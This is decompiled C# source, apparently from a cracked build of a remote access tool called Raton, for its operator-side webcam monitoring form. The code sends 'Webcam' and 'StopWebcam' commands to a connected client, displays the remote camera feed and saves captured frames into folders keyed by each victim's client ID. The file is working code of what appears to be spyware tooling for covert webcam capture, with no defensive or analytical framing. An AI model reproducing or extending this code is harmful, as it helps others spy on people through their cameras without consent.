272 lines
10 KiB
C#
272 lines
10 KiB
C#
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: Raton.Forms.ClientForms.Monitor.ratonWebcam
|
||
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||
|
|
|
||
|
|
using DarkModeForms;
|
||
|
|
using Raton.Classes;
|
||
|
|
using Raton.Properties;
|
||
|
|
using Server.Connection;
|
||
|
|
using Stuff;
|
||
|
|
using System;
|
||
|
|
using System.ComponentModel;
|
||
|
|
using System.Diagnostics;
|
||
|
|
using System.Drawing;
|
||
|
|
using System.Drawing.Imaging;
|
||
|
|
using System.IO;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
|
||
|
|
#nullable disable
|
||
|
|
namespace Raton.Forms.ClientForms.Monitor;
|
||
|
|
|
||
|
|
public class ratonWebcam : Form
|
||
|
|
{
|
||
|
|
public Stopwatch sw = Stopwatch.StartNew();
|
||
|
|
public int FPS;
|
||
|
|
private IContainer components;
|
||
|
|
private Panel panel1;
|
||
|
|
private Timer timer1;
|
||
|
|
public PictureBox pctBoxWebcam;
|
||
|
|
private Panel panel2;
|
||
|
|
private Label label1;
|
||
|
|
public FlatComboBox flatComboBox1;
|
||
|
|
private Label label2;
|
||
|
|
private ContextMenuStrip contextMenuStrip1;
|
||
|
|
private ToolStripMenuItem saveFrameToolStripMenuItem;
|
||
|
|
private MenuStrip menuStrip1;
|
||
|
|
private ToolStripMenuItem toggleConfigurationToolStripMenuItem;
|
||
|
|
public RgbBuildButton button1;
|
||
|
|
|
||
|
|
public SillyClient SillyClient { get; set; }
|
||
|
|
|
||
|
|
public ratonWebcam()
|
||
|
|
{
|
||
|
|
this.InitializeComponent();
|
||
|
|
DarkMode.Start((Form) this);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ratonWebcam_Load(object sender, EventArgs e) => this.timer1.Start();
|
||
|
|
|
||
|
|
private void button1_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ratonWebcam_FormClosing(object sender, FormClosingEventArgs e)
|
||
|
|
{
|
||
|
|
Pack pack = new Pack();
|
||
|
|
pack.SetString("Packet", "StopWebcam");
|
||
|
|
this.SillyClient.Send(pack.Pacc());
|
||
|
|
}
|
||
|
|
|
||
|
|
private void timer1_Tick(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||
|
|
return;
|
||
|
|
this.Close();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void button1_Click_1(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
if (this.button1.Text == "Start")
|
||
|
|
{
|
||
|
|
this.flatComboBox1.Enabled = false;
|
||
|
|
this.button1.Text = "Stop";
|
||
|
|
Pack pack = new Pack();
|
||
|
|
pack.SetString("Packet", "Webcam");
|
||
|
|
pack.SetInt("Cam", this.flatComboBox1.SelectedIndex);
|
||
|
|
this.SillyClient.Send(pack.Pacc());
|
||
|
|
this.panel2.Visible = false;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
this.flatComboBox1.Enabled = true;
|
||
|
|
Pack pack = new Pack();
|
||
|
|
pack.SetString("Packet", "StopWebcam");
|
||
|
|
this.SillyClient.Send(pack.Pacc());
|
||
|
|
this.button1.Text = "Start";
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ratonWebcam_KeyDown(object sender, KeyEventArgs e)
|
||
|
|
{
|
||
|
|
}
|
||
|
|
|
||
|
|
private void saveFrameToolStripMenuItem_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
string str1 = Path.Combine(Program.ClientsFolder, this.SillyClient.uid);
|
||
|
|
if (!Directory.Exists(str1))
|
||
|
|
return;
|
||
|
|
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||
|
|
string filename = Path.Combine(str1, $"Webcam_{str2}.png");
|
||
|
|
if (this.pctBoxWebcam.Image == null)
|
||
|
|
return;
|
||
|
|
using (Bitmap bitmap = new Bitmap(this.pctBoxWebcam.Image))
|
||
|
|
bitmap.Save(filename, ImageFormat.Png);
|
||
|
|
int num = (int) Messenger.MessageBox("Frame saved in\n" + filename, "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void panel2_Paint(object sender, PaintEventArgs e)
|
||
|
|
{
|
||
|
|
}
|
||
|
|
|
||
|
|
private void toggleConfigurationToolStripMenuItem_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
if (this.Tag == (object) "meow")
|
||
|
|
{
|
||
|
|
this.Tag = (object) "nomeow";
|
||
|
|
this.panel2.Visible = false;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
this.Tag = (object) "meow";
|
||
|
|
this.panel2.Visible = true;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
protected override void Dispose(bool disposing)
|
||
|
|
{
|
||
|
|
if (disposing && this.components != null)
|
||
|
|
this.components.Dispose();
|
||
|
|
base.Dispose(disposing);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void InitializeComponent()
|
||
|
|
{
|
||
|
|
this.components = (IContainer) new System.ComponentModel.Container();
|
||
|
|
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonWebcam));
|
||
|
|
this.panel1 = new Panel();
|
||
|
|
this.panel2 = new Panel();
|
||
|
|
this.button1 = new RgbBuildButton();
|
||
|
|
this.label2 = new Label();
|
||
|
|
this.label1 = new Label();
|
||
|
|
this.flatComboBox1 = new FlatComboBox();
|
||
|
|
this.pctBoxWebcam = new PictureBox();
|
||
|
|
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||
|
|
this.saveFrameToolStripMenuItem = new ToolStripMenuItem();
|
||
|
|
this.menuStrip1 = new MenuStrip();
|
||
|
|
this.toggleConfigurationToolStripMenuItem = new ToolStripMenuItem();
|
||
|
|
this.timer1 = new Timer(this.components);
|
||
|
|
this.panel1.SuspendLayout();
|
||
|
|
this.panel2.SuspendLayout();
|
||
|
|
((ISupportInitialize) this.pctBoxWebcam).BeginInit();
|
||
|
|
this.contextMenuStrip1.SuspendLayout();
|
||
|
|
this.menuStrip1.SuspendLayout();
|
||
|
|
this.SuspendLayout();
|
||
|
|
this.panel1.BackColor = SystemColors.AppWorkspace;
|
||
|
|
this.panel1.Controls.Add((Control) this.panel2);
|
||
|
|
this.panel1.Controls.Add((Control) this.pctBoxWebcam);
|
||
|
|
this.panel1.Controls.Add((Control) this.menuStrip1);
|
||
|
|
this.panel1.Dock = DockStyle.Fill;
|
||
|
|
this.panel1.Location = new Point(0, 0);
|
||
|
|
this.panel1.Name = "panel1";
|
||
|
|
this.panel1.Size = new Size(829, 535);
|
||
|
|
this.panel1.TabIndex = 0;
|
||
|
|
this.panel2.Controls.Add((Control) this.button1);
|
||
|
|
this.panel2.Controls.Add((Control) this.label2);
|
||
|
|
this.panel2.Controls.Add((Control) this.label1);
|
||
|
|
this.panel2.Controls.Add((Control) this.flatComboBox1);
|
||
|
|
this.panel2.Location = new Point(0, 24);
|
||
|
|
this.panel2.Name = "panel2";
|
||
|
|
this.panel2.Size = new Size(349, 144 /*0x90*/);
|
||
|
|
this.panel2.TabIndex = 1;
|
||
|
|
this.panel2.Paint += new PaintEventHandler(this.panel2_Paint);
|
||
|
|
this.button1.Cursor = Cursors.Arrow;
|
||
|
|
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||
|
|
this.button1.ForeColor = Color.White;
|
||
|
|
this.button1.Icon = (Image) Resources.ic_fluent_eye_show_24_filled;
|
||
|
|
this.button1.IconSize = 26;
|
||
|
|
this.button1.IconSpacing = 8;
|
||
|
|
this.button1.Location = new Point(18, 86);
|
||
|
|
this.button1.Name = "button1";
|
||
|
|
this.button1.Size = new Size(313, 42);
|
||
|
|
this.button1.TabIndex = 4;
|
||
|
|
this.button1.Text = "Start";
|
||
|
|
this.button1.Click += new EventHandler(this.button1_Click_1);
|
||
|
|
this.label2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||
|
|
this.label2.Location = new Point(18, 28);
|
||
|
|
this.label2.Name = "label2";
|
||
|
|
this.label2.Size = new Size(313, 16 /*0x10*/);
|
||
|
|
this.label2.TabIndex = 3;
|
||
|
|
this.label2.Text = "Press escape to see this menu again";
|
||
|
|
this.label2.TextAlign = ContentAlignment.MiddleCenter;
|
||
|
|
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||
|
|
this.label1.Location = new Point(18, 12);
|
||
|
|
this.label1.Name = "label1";
|
||
|
|
this.label1.Size = new Size(313, 16 /*0x10*/);
|
||
|
|
this.label1.TabIndex = 2;
|
||
|
|
this.label1.Text = "Select a webcam";
|
||
|
|
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||
|
|
this.flatComboBox1.FlatStyle = FlatStyle.Flat;
|
||
|
|
this.flatComboBox1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||
|
|
this.flatComboBox1.FormattingEnabled = true;
|
||
|
|
this.flatComboBox1.Location = new Point(18, 56);
|
||
|
|
this.flatComboBox1.Name = "flatComboBox1";
|
||
|
|
this.flatComboBox1.Size = new Size(313, 23);
|
||
|
|
this.flatComboBox1.TabIndex = 0;
|
||
|
|
this.pctBoxWebcam.BackColor = SystemColors.ActiveBorder;
|
||
|
|
this.pctBoxWebcam.BackgroundImage = (Image) Resources.CameraOutline_16x;
|
||
|
|
this.pctBoxWebcam.BackgroundImageLayout = ImageLayout.Center;
|
||
|
|
this.pctBoxWebcam.ContextMenuStrip = this.contextMenuStrip1;
|
||
|
|
this.pctBoxWebcam.Dock = DockStyle.Fill;
|
||
|
|
this.pctBoxWebcam.Location = new Point(0, 24);
|
||
|
|
this.pctBoxWebcam.Name = "pctBoxWebcam";
|
||
|
|
this.pctBoxWebcam.Size = new Size(829, 511 /*0x01FF*/);
|
||
|
|
this.pctBoxWebcam.SizeMode = PictureBoxSizeMode.StretchImage;
|
||
|
|
this.pctBoxWebcam.TabIndex = 0;
|
||
|
|
this.pctBoxWebcam.TabStop = false;
|
||
|
|
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[1]
|
||
|
|
{
|
||
|
|
(ToolStripItem) this.saveFrameToolStripMenuItem
|
||
|
|
});
|
||
|
|
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||
|
|
this.contextMenuStrip1.Size = new Size(133, 26);
|
||
|
|
this.saveFrameToolStripMenuItem.Image = (Image) Resources.Save_grey_16x;
|
||
|
|
this.saveFrameToolStripMenuItem.Name = "saveFrameToolStripMenuItem";
|
||
|
|
this.saveFrameToolStripMenuItem.Size = new Size(132, 22);
|
||
|
|
this.saveFrameToolStripMenuItem.Text = "Save frame";
|
||
|
|
this.saveFrameToolStripMenuItem.Click += new EventHandler(this.saveFrameToolStripMenuItem_Click);
|
||
|
|
this.menuStrip1.Items.AddRange(new ToolStripItem[1]
|
||
|
|
{
|
||
|
|
(ToolStripItem) this.toggleConfigurationToolStripMenuItem
|
||
|
|
});
|
||
|
|
this.menuStrip1.Location = new Point(0, 0);
|
||
|
|
this.menuStrip1.Name = "menuStrip1";
|
||
|
|
this.menuStrip1.Size = new Size(829, 24);
|
||
|
|
this.menuStrip1.TabIndex = 2;
|
||
|
|
this.menuStrip1.Text = "menuStrip1";
|
||
|
|
this.toggleConfigurationToolStripMenuItem.Image = (Image) Resources.SettingsOutline_16x;
|
||
|
|
this.toggleConfigurationToolStripMenuItem.Name = "toggleConfigurationToolStripMenuItem";
|
||
|
|
this.toggleConfigurationToolStripMenuItem.Size = new Size(146, 20);
|
||
|
|
this.toggleConfigurationToolStripMenuItem.Text = "Toggle configuration";
|
||
|
|
this.toggleConfigurationToolStripMenuItem.Click += new EventHandler(this.toggleConfigurationToolStripMenuItem_Click);
|
||
|
|
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
||
|
|
this.ClientSize = new Size(829, 535);
|
||
|
|
this.Controls.Add((Control) this.panel1);
|
||
|
|
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||
|
|
this.KeyPreview = true;
|
||
|
|
this.MainMenuStrip = this.menuStrip1;
|
||
|
|
this.Name = nameof (ratonWebcam);
|
||
|
|
this.StartPosition = FormStartPosition.CenterScreen;
|
||
|
|
this.Tag = (object) "meow";
|
||
|
|
this.Text = nameof (ratonWebcam);
|
||
|
|
this.FormClosing += new FormClosingEventHandler(this.ratonWebcam_FormClosing);
|
||
|
|
this.Load += new EventHandler(this.ratonWebcam_Load);
|
||
|
|
this.KeyDown += new KeyEventHandler(this.ratonWebcam_KeyDown);
|
||
|
|
this.panel1.ResumeLayout(false);
|
||
|
|
this.panel1.PerformLayout();
|
||
|
|
this.panel2.ResumeLayout(false);
|
||
|
|
((ISupportInitialize) this.pctBoxWebcam).EndInit();
|
||
|
|
this.contextMenuStrip1.ResumeLayout(false);
|
||
|
|
this.menuStrip1.ResumeLayout(false);
|
||
|
|
this.menuStrip1.PerformLayout();
|
||
|
|
this.ResumeLayout(false);
|
||
|
|
}
|
||
|
|
}
|